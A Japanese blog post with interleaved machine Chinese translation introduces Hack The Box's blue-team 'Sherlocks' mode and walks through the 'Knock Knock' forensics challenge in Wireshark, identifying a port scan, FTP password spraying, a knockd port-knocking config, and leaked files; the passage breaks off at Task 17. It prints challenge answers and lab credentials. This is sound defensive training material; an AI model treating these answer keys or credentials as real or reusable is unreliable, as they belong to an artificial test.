この記事はCTF Advent Calendar 2023の10日目の記事です。
本文适用于 2023 年 CTF 降临日历的第 10 天。
所謂CTFの話ではないのですが、近からずも遠からずということで、Hack The Boxの新しいゲームモードについて入門記事を書きます。
我不是在谈论所谓的 CTF,但我将在不久的将来写一篇关于 Hack The Box 中新游戏模式的介绍性文章。
初めに 首先
今年はHack The Boxが最近出した新しいゲーム “Sherlocks” の話をします。
今年,我们谈论的是 Hack The Box 最近发布的新游戏《神探夏洛克》。
ログ調査は非常に楽しく、本当はこれを書かないといけなかったのですが、時間を吸われてしまいました…
我在研究日志时玩得很开心,我真的不得不写这个,但它占用了我的时间……
これについては書けたら来年の1月とか2月に出します…
如果我能写这个,我会在明年一月或二月出版……
Sherlocksやりすぎて全完したので、先達者面してもいいだろうということで今年はこのテーマで書いていきます。
夏洛克斯:我已经做了很多事情,我已经完成了所有工作,所以我今年要写这个主题,因为我认为做一个先驱是可以的。
Hack The Box Sherlocksとは
什么是 Hack The Box Sherlocks?
Hack The Boxとは、サイバーセキュリティの知識を生かして問題を解いていくネットゲームサイトです。
Hack The Box 是一个在线游戏网站,您可以在其中使用您的网络安全知识来解决问题。
ゲームモードが複数用意されています。 有几种游戏模式可供选择。
- Challenges: CTFのように各分野に対して問題を解いていくようなスタイルの問題。CTFerの皆さんも非常に楽しく遊べると思います。
挑战:CTF式的问题,解决每个领域的问题。 我认为 CTFers 也会玩得很开心。 - Machines: Hack The Boxの目玉とも言えるモードで、ここでは世間一般に想像されているハッキングの技能を競うような問題、つまり、Boot2Root形式の問題が出題されます。攻撃者として要求される技能を使ったゲームなので、攻撃者側を想定するような役職、つまり、ペンテスターやレッドチームを対象としたゲームモードとなっています。
Machines: Hack The Box 的核心是游戏,您将在其中以 Boot2Root 的形式接受挑战,测试您的黑客技能,正如您所期望的那样。 由于游戏使用了攻击者所需的技能,因此游戏模式针对的是假设攻击者一方的位置,即渗透测试者和红队。
そして、2023年11月某日、Hack The Boxは新しいゲームモード Sherlocksをリリースしました。
然后,在 2023 年 11 月的一天,Hack The Box 发布了一种新的游戏模式,夏洛克。
Sherlocks は防御側の役職、ブルーチームを対象としたゲームモードとなっています。
夏洛克是一种旨在保卫阵地和蓝队的游戏模式。
つまり、端末に残っているログやファイルを解析して、攻撃者の行動を暴いていくことが目的です。
换句话说,目标是分析设备上留下的日志和文件,以揭示攻击者的行为。
試しに問題を1つ開いてみましょう。 让我们打开一个问题作为测试。
https://app.hackthebox.com/sherlocks/Meerkat
このように一連の事件に対して与えられた対象を解析して問いに答えていきます。
这样,我们将分析给定对象的一系列事件并回答问题。
問題を開いたら、まずは解析対象となるファイルをダウンロードしましょう。この問題だとmeerkat.zipですね。
打开问题后,第一步是下载要分析的文件。 这个问题是猫鼬.zip。
右にある下矢印のアイコンをクリックするとダウンロードできます。
您可以通过单击右侧的向下箭头图标来下载它。
与えられるファイルはパスワードがかかっているので、鍵のアイコンをクリックすると解凍用のパスワードを取得できます。
给定的文件有一个密码,因此您可以通过单击锁定图标来获取解压缩密码。
パスワードをつけておかないとWindows Defenderとかに消されて面倒な場合があるんだと思います。
如果不添加密码,它可能会被Windows Defender或类似的东西擦除,这可能会很麻烦。
ダウンロードには時間がかかる場合もあるので、その間にSherlock Scenarioを読みましょう。ここに書いてある情報が解くのに不可欠な場合があります。
下载可能需要一些时间,因此请同时阅读夏洛克场景。 此处的信息对于解决问题可能至关重要。
どういう方向性の解析が要求されているかというのも、特に解析の序盤で役に立ちます。
了解需要什么样的分析方向也很有用,尤其是在分析的早期阶段。
その後ろにTaskという形で設問が用意されています。
之后,有任务形式的问题。
Sherlocksでは他のゲームモードと違い設問に答えていく形になります。
在Sherlocks中,与其他游戏模式不同,你必须回答问题。
設問があるので、何も分からない状態から何かを探すという感じではなく、この設問で聞かれていることを見ればある程度の方向性を理解することができます。
有问题,所以与其从你什么都不知道的状态中寻找一些东西,不如通过查看这个问题中提出的问题来在一定程度上理解方向。
この仕組みのおかげで攻略の難易度が下がってしまっているのですが、自由回答を採点するのも難しそうなのでしょうがない所なのでしょう。
多亏了这种机制,捕获的难度降低了,但似乎很难对自由答案进行评分,但可能不是一个好地方。
しかも、一部の問題では、答えの文字数や一部の文字が分かっているものがあり、このおかげである程度のguessが可能になっています。
而且,对于一些问题,答案中的字符数和一些字符是已知的,这使得在一定程度上可以猜测。
これも解釈によってはどっちも正答になりそうな所があるので、答えを一意にするためにしているのだと思います。多分。
同样,根据解释,两者都可能是正确的答案,所以我认为他们这样做是为了使答案独一无二。 可能。
Sherlocksに対してどのように取り組んでいくかを実例を使って紹介していこうと思います。
我想用实际的例子来介绍一下如何在《神探夏洛克》中工作。
既にRetired済みのKnock Knockという問題を題材とします。
主题是已经退役的Knock Knock的问题。
Knock Knock Writeup 咚
https://app.hackthebox.com/sherlocks/Knock%20Knock
さて、既にRetiredしているMediumレベルの問題「Knock Knock」の解説をしながら解き方のイメージを見ていきましょう。
现在,让我们在解释已经退役的中级问题“Knock Knock”的同时,看一下如何解决它的图像。
汎用的に使えそうな考え方やテクニックについては赤字で強調しているので参考にしてください。
可以普遍使用的想法和技术以红色突出显示,因此请参考它们。
実際には多数の可能性を確認しているので、ここまでシンプルではないのですが、ここでは正答に至る最短経路で書いていきます。
事实上,我们已经确认了很多可能性,所以它不是那么简单,但在这里我们将写出通往正确答案的最短路径。
問題ではknockknock.zipというファイルが与えられ、中にはパケットキャプチャのCapture.pcapが入っています。
在问题中,您将获得一个名为 knockknock.zip 的文件,其中包含数据包捕获 Capture.pcap。
問題に取り組む前にどういう情報が残っているかを確認していきましょう。
让我们来看看在解决问题之前还剩下哪些信息。
アーティファクト(ログとか)毎にどういう情報が入っていてどう確認するかはまちまちですが、
每个工件(日志等)包含哪些类型的信息以及如何检查它各不相同。
pcapファイルのデータを把握するには「統計」メニューにある情報を見ていくのがいいです。
要了解 PCAP 文件中的数据,最好查看“统计”菜单中的信息。
「統計」の「キャプチャファイルプロパティ」 标题文件属性>统计信息
パケット数は293921なので、普通に眺めるには量が多すぎます。適切にフィルタリングしながら見ていく必要があります。
数据包数量293921,因此数量太大,无法正常查看。 您需要在适当过滤时查看它。
パケットには時間がくっついているので時間も考慮しながらログを見ていくことも重要です。
时间附加到数据包上,因此在考虑时间的同时查看日志也很重要。
「統計」の「プロトコル階層」 统计中的协议层次结构
大量のパケット数が1桁のプロトコルが記録されていますね。
您已经记录了一个包含大量个位数数据包的协议。
ポートスキャンが行われていそう。 似乎正在执行端口扫描。
今回は、他にはあまりいい感じの情報は得られそうにないので次に行きます。
这一次,我认为我无法获得太多其他好的信息,所以我会继续前进。
「統計」の「終端」のIPv4 统计信息末尾的 IPv4
通信で使われているIPアドレスを集計してくれます。
它聚合了通信中使用的 IP 地址。
パケットキャプチャはどうとられているかわかりませんが、とある端末向けに集計していると予想されるので、一番多く記録されているIPアドレスは自分のもののはずです。
我不知道数据包捕获是如何进行的,但预计它们是针对某个终端聚合的,因此记录最多的 IP 地址应该是您的。
つまり、被害者のIPアドレスは172.31.39.46
と仮定できます。
换句话说,我们可以假设受害者的 IP 地址是 172.31.39.46
。
そしてC2サーバと通信していると想定すると、それなりの通信がC2サーバと行われていそうなので、2番目に多いIPアドレス3.109.209.43
が攻撃者のIPアドレスであると仮定できます。
并且假设它正在与 C2 服务器通信,似乎与 C2 服务器存在合理的通信,因此我们可以假设第二个最常见的 IP 地址是攻击者的 IP 地址 3.109.209.43
。
まだ、この時点では「仮定」でとどまりますが、実際にこの仮定を元に情報を集めていくと正しかったことが分かります。
在这一点上,它仍然是一个“假设”,但如果你真的基于这个假设收集信息,你会发现它是正确的。
この問題の最初の確認はこれくらいですね。 这是关于这个问题的第一次确认。
情報の糸口を探すことができてくると、次に見るべきログが分かったり、時間でうまく絞ったり、
如果你能找到信息的线索,你就可以知道接下来要看哪个日志,你可以按时间缩小范围。
キーワードでgrepしたりして深堀調査を効率的にできるようになっていきますが、
您将能够使用关键字进行搜索,以有效地进行深入调查。
最初の漠然と探す段階ではこのように仮定や既知の情報をうまく活用して探していくことになります。
在第一个模糊的搜索阶段,您将以这种方式寻找充分利用假设和已知信息的东西。
経験値の違いが出てきそうですが、運よく見つかるみたいなこともよくあるので、根気良く探していきましょう。
经验值似乎有差异,但通常情况下,你很幸运能找到一个,所以让我们耐心搜索。
では問題に移っていきます。 现在让我们继续讨论这个问题。
Task 1 任务 1
Which ports did the attacker find open during their enumeration phase?
攻击者在枚举阶段发现哪些端口处于打开状态?
攻撃者は列挙フェーズ中にどのポートが開いていることを発見しましたか?
攻击者在枚举阶段发现打开了哪些端口?
攻撃者のIPアドレスは3.109.209.43
と仮定していたので、まずはこのIPアドレスでフィルタリングしましょう。
由于我们假设攻击者的 IP 地址是 3.109.209.43
,让我们先按这个 IP 地址进行过滤。ip.addr == 3.109.209.43
でフィルタリングします。 ip.addr == 3.109.209.43
筛选依据:
ログデータをそのまま読んでいくのは大変なので、適当な情報を使ってフィルタリングしながら情報を確認していくことになります。
很难按原样读取日志数据,因此您必须在使用适当的信息对其进行过滤时检查信息。
IPアドレスは攻撃者側をattacker, 被害者側をvictimと変換しています。
IP 地址将攻击者端转换为攻击者,将受害者端转换为受害者。
このように分かりやすいマッピング情報がある場合はそれも記録したり、置換しておくと理解がスムーズになります。
如果你有这个易于理解的映射信息,你可以记录它或替换它,使其更容易理解。
このように一見訳の分からない通信が見えますが、よく見てみると、victim:1, victim:2, … と順番に確認していることが分かります。
乍一看,你可以看到乍一看没有意义的交流,但如果你仔细观察,你会看到受害者:1,受害者:2,…… 您可以看到他们正在按顺序进行检查。
攻撃者が1/tcpから順番に通信ができるかどうか通信を飛ばしてみています。
我正在尝试跳过通信,以查看攻击者是否可以按 1/tcp 的顺序进行通信。
このようにポートに対して通信を投げて使われているかどうかを試す手法をポートスキャンといい、問題文にもあるenumeration phaseで使用されます。
这样一来,将通信抛给端口以测试是否被使用的方法称为端口扫描,在枚举阶段使用,问题陈述中也提到了这一点。
赤い項目についてはvictim -> attackerでResetフラグが1の応答が帰ってきていて、ポートが空いてないならばこういう感じに見えます。
对于红色项目,如果 Reset 标志为 1 的响应返回给受害者 -> 攻击者,并且端口不是空闲的,则它将如下所示。
ポートが空いているかどうかは応答を見れば分かるので、応答に絞ってみてみましょう。
您可以通过查看响应来判断端口是否可用,因此让我们专注于响应。ip.dst == 3.109.209.43
でフィルタリングしてみる。 ip.dst == 3.109.209.43
尝试按以下条件进行筛选。
良い感じに見えてきました。 它开始看起来不错。
赤い物は空いてないということなので、赤い物も削除してみましょう。
红色的不是免费的,所以让我们也删除红色的。ip.dst == 3.109.209.43 && tcp.flags.reset != 1
でフィルタリングしてみる。 ip.dst == 3.109.209.43 && tcp.flags.reset != 1
尝试按以下条件进行筛选。
良い感じで見えましたね。21,22,3306,6379,8086
が答え。
看起来不错,不是吗? 21,22,3306,6379,8086
有一个答案。
Task 2 任务 2
Whats the UTC time when attacker started their attack against the server?
攻击者开始攻击服务器的 UTC 时间是什么时候?
攻撃者がサーバーに対して攻撃を開始したときの UTC 時間は何ですか?
攻击者对服务器发起攻击的 UTC 时间是什么时候?
Task 1の結果から3.109.209.43
が攻撃者のIPアドレスであることはほとんど確定したので、ip.addr == 3.109.209.43
で
从任务 1 的结果来看, 3.109.209.43
我们几乎可以确认这是攻击者的 IP 地址,因此 ip.addr == 3.109.209.43
我们可以使用
フィルタリングして最初のものの日時を答えればよいです。
您只需要过滤并回答第一个的日期和时间。21/03/2023 10:42:23
UTC時間についても軽く説明しておきます。 我还想简要解释一下UTC时间。
協定世界時 – Wikipedia 协议世界时 – Wikipedia
UTCは世界的に定められた基準時刻であり、この時間を基準にして各国のタイムゾーンを表現することができます。
UTC是全局定义的参考时间,可以作为参考来表示每个国家/地区的时区。
日本時間JSTはUTC+9なので、UTCの時刻に+9時間すれば日本のローカル時間になります。
日本时间JST是UTC+9,所以如果你在UTC时间花费+9小时,它将是日本当地时间。
ログには時刻が含まれる場合がありますが、世界には様々なタイムゾーンがあるので時刻だけを提示された場合にどのタイムゾーンでの話かが分からなくなります。
日志可能包含一天中的时间,但世界上有许多不同的时区,因此,如果您只看到时间,您将不知道您在哪个时区交谈。
事実、とある場所ではUTCで時刻が表現されていますが、とある場所ではlocaltimeで時刻が表現されていたりします。
事实上,在某些地方,时间以 UTC 表示,但在另一些地方,时间以本地时间表示。
localtimeもツールによってログを見ている環境のlocaltimeで変換されているだけなのか、もしくはログを取得した環境のlocaltimeに依存するのかというのもあります。
还有一个问题是,localtime 是否仅由工具使用正在查看日志的环境的 localtime 进行转换,或者它是否取决于获取日志的环境的 localtime。
その辺を考慮するのも面倒なのでSherlocksではUTC時間で答えることを要求しているんでしょうね。
考虑到这一点很麻烦,所以我想夏洛克要求你在UTC时间回答。
日本語環境でWiresharkの時刻を見るとこのように「東京(標準時)」と出てきます。
如果你在日本环境中看一下 Wireshark 的时间,“东京(标准时间)”会像这样出现。
つまり、東京のローカルタイムでの表示、つまり、JSTでの表示、つまり、UTC+9での表示になっています。
也就是说,它以东京当地时间显示,即以JST显示,即以UTC+9显示。
よってUTC時刻で答える場合は9時間前の時刻を答える必要があり、21/03/2023 10:42:23
が答えになります。
因此,如果你在UTC时间回答,你需要回答9小时前的时间,并且是 21/03/2023 10:42:23
答案。
(時刻を答えるときはRFC 3339にして欲しい…MM/DD/YYYYとDD/MM/YYYYで迷いたくない…)
(我希望你在回答时间时使用 RFC 3339…… 我不想在 MM/DD/YYYY 和 DD/MM/YYYY 之间迷路……
Task 3 任务 3
What’s the MITRE Technique ID of the technique attacker used to get initial access?
攻击者用于获取初始访问权限的技术的 MITRE 技术 ID 是什么?
攻撃者が初期アクセスを取得するために使用した手法の MITRE 手法 ID は何ですか?
攻击者用于获取初始访问权限的技术的 MITRE 技术 ID 是什么?
ip.addr == 3.109.209.43
でフィルタリングしてポートスキャン後を眺めると、21/tcpに対して色々通信をしている。
ip.addr == 3.109.209.43
如果您使用端口扫描进行过滤并查看,您可以看到它以各种方式与 21 / tcp 通信。
とりあえず、目grepをして何か気になることが無いか探してみよう。目grepオススメ。
与此同时,让我们来看看是否有任何困扰我们的问题。 推荐使用眼部 grep。
眺めると、色々なユーザーに対して色々なパスワードを試していることがわかる。
如果你看一下它,你可以看到它正在为不同的用户尝试不同的密码。ip.addr == 3.109.209.43 && ftp
でフィルタリングして眺めると分かりやすい。
ip.addr == 3.109.209.43 && ftp
如果你过滤和查看它,就很容易理解了。
ログインブルートフォースをしていますね。 登录:你是暴力破解的。
答えるべきは、MITRE Technique IDなので、MITRE ATT&CKで該当するものを探してみましょう。
答案是 MITRE 技术 ID,因此让我们在 MITRE ATT&CK 中寻找合适的 ID。
MITRE ATT&CKとはMITREという米国組織が公開している攻撃の手法まとめです。
MITRE ATT&CK是一个名为MITRE的美国组织发布的攻击方法摘要。
サイバー攻撃に関する手法を体系的にまとめていて、こういったレポートを作成する際には共通言語として引用することができます。
它系统地总结了网络攻击的方法,在编写此类报告时可以作为通用语言引用。
ログインブルートフォースと言えば伝わる気もしますが、プロフェッショナルとして、MITRE ATT&CKにマッピングして解答することにしましょう。
登录 蛮力听起来是个好主意,但作为专业人士,让我们将其映射到 MITRE ATT&CK 并回答它。
MITRE ATT&CK®を眺めてそれっぽい所を探します。
看看 MITRE ATT&CK® 并寻找类似的东西。
問題文にもinitial accessとありますし、攻撃の初期段階だから…と言って左側ばかり見ていると見つからず、
问题陈述还说了初始访问,这是攻击的早期阶段…… 如果你只看左边,你不会找到它。
Credential AccessのBrute forceのPassword Sprayingが答えになります。
Brute Force: Password Spraying, Sub-technique T1110.003 – Enterprise | MITRE ATT&CK®
蛮力:密码喷射,子技术 T1110.003 – 企业 | MITRE ATT&CK®
このテクニックの番号T1110.003
が答え。
这种技术 T1110.003
的数量就是答案。
Task 4 任务 4
What are valid set of credentials used to get initial foothold?
用于获得初始立足点的有效凭据集是什么?
最初の足がかりを得るために使用される有効な認証情報のセットは何ですか?
用于获得初始立足点的有效凭证集是什么?
ip.addr == 3.109.209.43 && ftp
の結果が673件しかないので、とりあえず目grepしていきます。
ip.addr == 3.109.209.43 && ftp
只有 673 个结果,所以我暂时会问他们。
上から見ていっても失敗ばかりなので、下からさかのぼってみていくと早めに見つかります。
即使你从上面看,它也只会失败,所以如果你从底部回去,你会早点发现它。
No.209192でLogin successful応答が確認できます。
No.209192 确认登录成功响应。
「このパケットを右クリック > 追跡 > TCPストリーム」でTCPストリームとして確認でき、これを見るとその時使われた認証情報が得られます。
您可以通过右键单击 TCP 流>跟踪>将此数据包视为 TCP 流,这将为您提供当时使用的凭据。
tony.shephard:Summer2023!
Task 5 任务 5
What is the Malicious IP address utilized by the attacker for initial access?
攻击者用于初始访问的恶意 IP 地址是什么?
攻撃者が初期アクセスに使用する悪意のある IP アドレスは何ですか?
攻击者使用什么恶意 IP 地址进行初始访问?
さっきから使っている3.109.209.43
が答え。
3.109.209.43
我已经使用它一段时间了。
ここに回答欄が来ている理由は正確には分かりませんが、3.109.209.43
が悪意あるIPアドレスのように見えますが、2番目に通信が多い先だと理由として弱く、
3.109.209.43
我不知道为什么答案列在这里,但它看起来像一个恶意 IP 地址,但它很弱,因为它是第二大通信目的地。
ポートスキャンとパスワードスプレーから確信した。みたいな流れかもしれません。
从端口扫描和密码喷射中确信。 可能是这样的。
Task 6 任务 6
What is name of the file which contained some config data and credentials?
包含一些配置数据和凭据的文件的名称是什么?
構成データと認証情報が含まれているファイルの名前は何ですか?
包含配置数据和身份验证信息的文件的名称是什么?
Task 4で表示したTCPストリームを見ると、色々している。
如果你看一下任务 4 中显示的 TCP 流,你可以看到有很多东西。
入った後はls -la
をして.backup
とfetch.sh
ファイルを取得していました。
进入后, ls -la
我正在做 .backup
并获取 fetch.sh
文件。
WiresharkでFTPでやり取りされているファイルを持ってくるには、「ファイル > オブジェクトをエクスポート > FTP-DATA」でファイルが取れるので便利。
要使用Wireshark带来通过FTP交换的文件,使用“将文件导出>对象>FTP-DATA”可以很方便。
取れたデータの中身を確認すると、どちらもsome config data and credentialsを含んでいそうでしたが、回答部分のプレースホルダを見ると.*****p
だったので、.backup
が答え。
当我检查获取的数据内容时,两者似乎都包含一些配置数据和凭据,但是当我查看答案部分的占位符时, .backup
它是 .*****p
.
Task 7 任务 7
Which port was the critical service running?
关键服务在哪个端口运行?
重要なサービスはどのポートで実行されていましたか?
关键服务在哪些端口上运行?
Task 6で抽出した.backup
とfetch.sh
を見ると、.backup
では24456/tcpの情報で、fetch.sh
はmysql (3306/tcp)の情報でした。
fetch.sh
查看任务 6 中 .backup
提取和提取的内容, .backup
它是 24456/tcp 信息和 fetch.sh
mysql (3306/tcp) 信息。
回答部分のプレースホルダを見ると、****6
だったので24456
が答え。
如果查看答案部分的占位符, ****6
答案 24456
是 。
…流石に、Task 6とTask 7は雑に回答しすぎているので一応間違いだった、fetch.shに書かれている3306/tcpの通信も見ておきましょうか。
… 不出所料,任务 6 和任务 7 的答案太草率了,所以让我们来看看 fetch.sh 写的 3306/tcp 通信,暂时是一个错误。ip.addr == 3.109.209.43 && tcp.port == 3306
通信が全然記録されていないですね。 通信根本没有被记录下来。
No. 83172を見ると接続に失敗しているようです。
查看编号83172,似乎连接失败。
このように与えられているデータには不要なデータも多く存在します。
以这种方式给出的数据中有很多不必要的数据。
実際には無関係であるかを確かめるために確認する必要もあるが、Sherlocksを効率的に解くという観点では優先順位をつけて確認していくのがいいです。
您还需要检查以确保它实际上无关紧要,但最好从有效解决夏洛克的角度进行优先级排序和检查。
ただ、ここからが注意で、無関係のように見えて有用なデータが残っている場合もあるので、雑にフィルタリングして確認から外してしまわないこと。
但是,需要注意的是,可能有一些有用的数据看起来无关紧要,因此不要随机过滤并将其从检查中删除。
Task 8 任务 8
Whats the name of technique used to get to that critical service?
用于获得该关键服务的技术名称是什么?
その重要なサービスにアクセスするために使用されるテクニックの名前は何ですか?
用于访问该重要服务的技术名称是什么?
答えのテクニックを知らない場合は難易度高めな問題。まずは、.backup
の中身を見てみましょう。
如果你不知道回答的技巧,这个问题就很难了。 首先, .backup
让我们来看看里面有什么。
[options] UseSyslog [FTP-INTERNAL] sequence = 29999,50234,45087 seq_timeout = 5 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 24456 -j ACCEPT tcpflags = syn # Creds for the other backup server abdullah.yasin:XhlhGame_90HJLDASxfd&hoooad
これをパッと見てknockd.confの設定ファイルであると判断できれば知識で問題を殴ることができています。
如果你能一眼看出这个,并确定它是一个knockd.conf配置文件,你就可以用知识来解决这个问题。
問題文がKnock Knock
でネットワークキャプチャが与えられていたので、ポートノッキングがどこかで出てくるんだろうと思っていましたが、ここでしたね。
由于问题语句被 Knock Knock
赋予了网络捕获,我本以为端口敲击会在某个地方出现,但事实就是如此。
とりあえず、ポートノッキングを知らなかったとした場合にどうやって答えまでたどり着くか書いてみます。
目前,如果我不知道端口敲击,我将写下如何获得答案。
このファイルが何のためのファイルであるかを突き止める必要があります。
您需要了解此文件的用途。
未知のファイルを見つけた場合は含まれるキーワードを元に検索して出元を特定していきましょう。
如果发现未知文件,请根据其包含的关键字进行搜索,以识别来源。
今回はsequence seq_timeout command tcpflags
と検索するといい感じに出てきました。
sequence seq_timeout command tcpflags
这一次,我搜索了一下,结果很好。
良いですね。出てきたサイトを見ていくと、このファイルがknockdの設定ファイル/etc/knockd.conf
であることが分かります。
听起来不错,不是吗? 如果你看一下出现的站点,你可以看到这个文件是一个敲门的配置文件 /etc/knockd.conf
。
knockdというのはポートノッキングに使用されるデーモンです。
knockd 是用于端口敲击的守护程序。
そして、ポートノッキングというのは、とあるポートに接続する前に事前に決めておいたいくつかのポートに接続をしてからつなぎに行くことで接続できるようにする手法です。
而端口敲击是一种方法,它允许你通过连接到几个预先确定的端口来连接,然后连接到某个端口。
なので、今回の設定ファイルで言うと、24456/tcpでFTPが動いていますが初手つなぎに行っても接続することはできず、
所以,在这个配置文件中,FTP在24456 / tcp工作,但即使我第一次去连接也无法连接。
29999/tcp, 50234/tcp, 45087/tcpに接続をしてから24456/tcpに接続すると繋がるようになります。
连接到 29999/tcp、50234/tcp、45087/tcp,然后连接到 24456/tcp 进行连接。
よって答えはPort Knocking
所以答案是 Port Knocking
:
Task 9 任务 9
Which ports were required to interact with to reach the critical service?
需要与哪些端口进行交互才能到达关键服务?
重要なサービスにアクセスするためにどのポートと通信する必要がありましたか?
您需要与哪些端口通信才能访问关键服务?
Task 8でもう特定していますね。昇順での回答が求められているので昇順ソートして29999,45087,50234
が答え。
您已经在任务 8 中识别了它。 由于答案是按升序排列的,因此按升序对它们进行排序,答案就是答案 29999,45087,50234
。
Task 10 任务 10
Whats the UTC time when interaction with previous question ports ended?
与先前问题端口的交互结束的 UTC 时间是什么时候?
以前の質問ポートとのやり取りが終了した UTC 時間は何ですか?
上一个问题:与端互结束时的UTC时间是什么时候?
Task 8で手法を質問しているので変な感じの聞き方になっている気がしますがinteraction with previous question ports
とはポートノッキングのことですね。
我觉得我在问一个关于任务 8 中方法的问题,所以我觉得这是一种奇怪的提问方式,但我 interaction with previous question ports
说的是端口敲门。
つまり、ポートノッキングのやり取りが終了したUTC時間を聞かれています。
换言之,您要求的是端口敲击交换结束时的 UTC 时间。
45087/tcpがポートノッキングの最後の通信先なので、これを探していきます。
45087/TCP 是端口敲击的最后一个通信目的地,因此我们将寻找它。tcp.port == 45087
でフィルタリングした最後の記録の時間が答え。
tcp.port == 45087
按答案筛选的最后记录时间。21/03/2023 10:58:50
Task 11 任务 11
What are set of valid credentials for the critical service?
关键服务的有效凭据集是什么?
重要なサービスの有効な資格情報のセットとは何ですか?
什么是关键服务的一组有效凭据?
.backup
の末尾にコメントで何故か認証情報が置いてあるのでそれを答えると正解できます。
.backup
出于某种原因,评论末尾的评论中有身份验证信息,因此您可以正确回答。abdullah.yasin:XhlhGame_90HJLDASxfd&hoooad
Task 12 任务 12
At what UTC Time attacker got access to the critical server?
攻击者在什么UTC时间访问了关键服务器?
攻撃者が重要なサーバーにアクセスしたのは、UTC 時間何時ですか?
攻击者在什么时候获得对关键服务器的访问权限?
24456/tcpが重要サーバであることが判明しているのでtcp.port == 24456
でフィルタリングしてみて目grepしていきましょう。
众所周知,24456/tcp 是一个重要的服务器,所以让我们过滤 tcp.port == 24456
一下并对其进行 grep。
FTPサーバであることが分かっているので「編集 > 設定 > Protocols > FTP」でポートを21,24456
のように編集して再度読み込ませてみるといい感じに見れます。
由于您知道它是FTP服务器,因此可以在“编辑>设置>FTP协议>”中编辑端口 21,24456
并重新加载。
No.210799のFTPログインが成功した時間を答えると正答でした。
No.210799 FTP登录成功时间答对。21/03/2023 11:00:01
ここではすんなり正答していますが、実際解いていたときは「重要なサーバーにアクセスした」時刻をどのタイミングと判断するかが異なっていたのか何回か間違えました。
在这里,我正确地回答了问题,但是当我真正解决它时,我犯了一些错误,因为确定“访问重要服务器”的时间不同。
実際に正解してみると、こういう理由付けでこのタイミングで答えているんだなと理解できる場合が大半なので、なるべく理由付けができる時刻を答えていくといいと思います。
在大多数情况下,当你真正正确回答时,你可以理解你在这个时间用这种推理来回答,所以我认为在你可以尽可能多地推理的时候回答是一个好主意。
Task 13 任务 13
Whats the AWS AccountID and Password for the developer “Abdullah”?
开发人员“Abdullah”的 AWS 账户 ID 和密码是什么?
開発者「Abdullah」の AWS アカウント ID とパスワードは何ですか?
开发人员“Abdullah”的 AWS 账户 ID 和密码是什么?
先ほど同様に「ファイル > オブジェクトをエクスポート > FTP-DATA」でファイルを取って来ましょう。
和以前一样,让我们使用“将文件>对象导出>FTP-DATA”获取文件。
FTPのポートを増やしたので取れるファイルが増えています。
由于FTP端口已增加,因此可以拍摄的文件数量也有所增加。
ファイルを取ってきて、Abdullah
でキーワード検索すると.archived.sql
に情報が書いてあります。
如果您获取文件并使用 Abdullah
搜索关键字,您将在 中找到 .archived.sql
该信息。
INSERT INTO
AWS_EC2_DEV
VALUES (‘Alonzo’,’341624703104′,”),(NULL,NULL,’d;089gjbj]jhTVLXEROP.madsfg’),(‘Abdullah’,’391629733297′,’yiobkod0986Y[adij@IKBDS’);
插入AWS_EC2_DEV
值 (’Alonzo’,’341624703104’,”),(NULL,NULL,’d;089gjbj]jhTVLXEROP.madsfg’),(’Abdullah’,’391629733297’,’yiobkod0986Y[adij@IKBDS’);
これが正解。391629733297:yiobkod0986Y[adij@IKBDS
这是正确答案。 391629733297:yiobkod0986Y[adij@IKBDS
このようにファイルを全部取ってきて一気にgrepすることで効率的に情報を抜いてくることができます。
通过这种方式,您可以通过获取所有文件并一次性获取所有文件来有效地提取信息。
このようなキーワード検索はかなり便利なので積極的に使っていきましょう。
这种关键词搜索相当方便,所以让我们积极使用它。
Task 14 任务 14
Whats the deadline for hiring developers for forela?
为forela招聘开发人员的截止日期是什么时候?
forela の開発者を雇用する期限はいつまでですか?
雇用Forela开发人员的截止日期是什么时候?
与えられたファイルを漁っていきます。 通过给定的文件钓鱼。Tasks to get Done.docx
を解析していくと、埋め込まれたxlsxファイルを見つけることができます。
Tasks to get Done.docx
您可以通过解析嵌入的 xlsx 文件来找到它。
docxファイルはzipファイルとして解凍可能なので、解答してみると、word/embeddings/Microsoft_Excel_Worksheet.xlsx
というのを見つけることができます。
docx 文件可以解压缩为 zip 文件,因此您可以通过 word/embeddings/Microsoft_Excel_Worksheet.xlsx
回答它来找到它。
このようにSherlocksの問題中にファイル解析といったCTFのForensicsで要求されるような分野もよく出てきます。
这样,在夏洛克问题中,CTF取证所需的文件分析等领域经常出现。
xlsxファイルを開いて巡回すると30/08/2023
が正解と分かる。
如果你打开xlsx文件并四处爬行, 30/08/2023
你会发现这是正确的答案。
Task 15 任务 15
When did CEO of forela was scheduled to arrive in pakistan?
Forela的CEO计划何时抵达巴基斯坦?
forela の CEO はいつパキスタンに到着する予定でしたか?
Forela的首席执行官计划何时抵达巴基斯坦?
与えられたファイルを漁るとreminder.txt
に書いてありました。
它是用给定的文件钓鱼编写 reminder.txt
的。08/03/2023
Task 16 任务 16
The attacker was able to perform directory traversel and escape the chroot jail.This caused attacker to roam around the filesystem just like a normal user would. Whats the username of an account other than root having /bin/bash set as default shell?
攻击者能够执行目录遍历并逃脱 chroot jail。这导致攻击者像普通用户一样在文件系统中漫游。将 /bin/ bash 设置为默认 shell 的 root 以外的帐户的用户名是什么?
攻撃者はディレクトリ トラバーセルを実行して chroot 刑務所から脱出することができました。これにより、攻撃者は通常のユーザーと同じようにファイル システム内を歩き回ることになりました。/bin/bash がデフォルトのシェルとして設定されている root 以外のアカウントのユーザー名は何ですか?
攻击者能够运行目录遍历并运行 chroot 以越狱。 这允许攻击者像普通用户一样在文件系统中漫游。 默认 shell 设置为 /bin/ bash 的非 root 帐户的用户名是什么?
与えられたファイルを漁ると/etc/passwd
に書いてありました。
它是用给定的文件钓鱼编写 /etc/passwd
的。
cyberjunkie:x:1003:1003:,,,:/home/cyberjunkie:/bin/bash
网络瘾君子:X:1003:1003:,,,:/home/cyberjunkie:/bin/ bash
ユーザー名は/etc/passwd
を見れば分かるというのはLinuxの知識があれば推測することができます。
如果你对 Linux 有所了解,你可以通过 /etc/passwd
查看 .
このようにOSやアプリケーション特有の知識を持っていると探索する場所が分かり、効率的に情報を探すことができます。 cyberjunkie
が答え。
这样,如果您具有特定于操作系统或应用程序的知识,您将知道在哪里搜索,并且可以有效地搜索信息。 cyberjunkie
有一个答案。
Task 17 任务 17
Whats the full path of the file which lead to ssh access of the server by attacker?
导致攻击者对服务器进行ssh访问的文件的完整路径是什么?
攻撃者によるサーバーへの SSH アクセスにつながるファイルのフルパスは何ですか?
导致攻击者通过 SSH 访问服务器的文件的完整路径是什么?
.reminder
というファイルがあり、これがthe file which lead to ssh access of the server
